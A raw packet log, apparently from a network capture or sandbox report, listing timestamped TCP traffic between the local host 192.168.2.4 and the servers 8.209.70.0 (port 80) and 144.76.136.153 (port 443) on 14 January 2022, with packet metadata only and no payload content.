Jan 14, 2022 12:30:02.457269907 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.457283020 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.457319975 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457359076 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457401037 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457410097 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.457448006 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457467079 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.474984884 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475028992 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475126028 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475176096 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475187063 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475205898 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475236893 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475277901 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475317001 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475337029 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475374937 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475377083 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475493908 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475536108 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475574970 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475641012 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475656033 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475670099 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475845098 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475903988 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.475914001 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.475961924 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476005077 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476015091 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476058960 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476099968 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476123095 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476155043 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476212978 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476260900 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476269007 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476317883 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476357937 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476397991 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476417065 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476429939 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476464987 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476510048 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476550102 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476592064 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476597071 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476608992 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476650000 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476689100 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476728916 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476768970 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476783037 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476794958 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476828098 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476870060 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476907969 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476950884 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.476957083 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.476969004 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.477008104 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477061987 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477098942 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.477112055 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477169991 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477226973 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477284908 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477309942 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.477332115 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.477343082 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477402925 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477466106 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.477509022 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.477514029 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.477583885 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.493827105 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.493901968 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.493905067 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.493947029 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.493985891 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494025946 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494059086 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494066000 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494066000 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494107008 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494148016 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494184971 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494211912 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494220972 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494225979 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494266033 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494302988 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494342089 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494355917 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494380951 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494422913 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494462967 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494468927 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494477987 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494499922 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494539022 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494576931 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494615078 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494621992 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494628906 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494652987 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494692087 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494730949 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494774103 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494777918 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494781017 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494817019 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494856119 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494894028 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494931936 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.494937897 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494946003 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.494970083 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495007992 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495038033 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495049953 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495098114 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495136976 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495177031 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495181084 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495188951 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495217085 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495254040 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495292902 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495332003 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495337009 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495346069 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495372057 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495413065 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495454073 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495492935 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495496035 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495502949 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495532036 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495568991 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495609045 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495646000 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495651007 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495657921 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495702028 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495742083 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495779037 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495821953 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495826960 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495830059 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.495944023 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.495995998 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496033907 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496073961 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496079922 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496090889 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496112108 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496151924 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496191978 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496231079 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496234894 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496242046 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496269941 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496309042 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496346951 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496385098 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496390104 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496398926 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496424913 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496463060 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496495962 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496532917 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496539116 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496546984 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496572018 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496609926 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496640921 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496679068 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496681929 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496689081 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496716022 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496754885 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496793985 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496828079 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.496841908 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.496850014 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.499145031 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.502355099 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.547012091 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.564486027 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.159516096 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.177046061 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.177257061 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.177315950 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.177325964 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.195296049 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.301008940 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.301115990 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.301366091 CET	49884	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.319710970 CET	80	49884	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.335010052 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.352345943 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.353442907 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.353745937 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.353773117 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.370934010 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.471067905 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.471880913 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.471916914 CET	49885	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:04.489288092 CET	80	49885	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:04.547964096 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:04.548003912 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:04.548088074 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:04.548438072 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:04.548459053 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:04.599282980 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:04.599391937 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:04.600960970 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:04.600977898 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:04.601455927 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:04.602277994 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:04.645896912 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.114820004 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.114851952 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.114877939 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.114975929 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.115001917 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.115075111 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.115219116 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.115247965 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.115299940 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.115318060 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.115331888 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.115366936 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.144331932 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.144370079 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.144447088 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.144484043 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.144506931 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.144762993 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.144793987 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.144850016 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.144867897 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.144886971 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.145189047 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.145217896 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.145267963 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.145283937 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.145308971 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.145347118 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.173207998 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.173254013 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.173307896 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.173336029 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.173352003 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.173748970 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.173799038 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.173830032 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.173854113 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.173871040 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.173877001 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.173947096 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174098969 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174151897 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174182892 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174196005 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174211979 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174325943 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174372911 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174397945 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174411058 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174433947 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174469948 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174544096 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174593925 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174618006 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174629927 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174648046 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174673080 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174696922 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174748898 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174765110 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174778938 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.174827099 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.174844027 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.186940908 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.196690083 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.196738005 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.196804047 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.196826935 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.196846962 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.196855068 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.196909904 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.196918011 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.196926117 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.196934938 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.196976900 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197230101 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197268963 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197313070 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197331905 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197350979 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197438955 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197475910 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197508097 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197520971 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197537899 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197638988 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197688103 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197690964 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197707891 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197707891 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197755098 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197762966 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.197933912 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.197973967 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198019028 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198033094 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198046923 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198127031 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198163986 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198191881 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198209047 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198221922 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198227882 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198246956 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198312998 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198350906 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198379040 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198390961 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198414087 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198431969 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198560953 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198596954 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198628902 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198641062 CET	443	49886	144.76.136.153	192.168.2.4
Jan 14, 2022 12:30:05.198657036 CET	49886	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:30:05.198681116 CET	49886	443	192.168.2.4	144.76.136.153
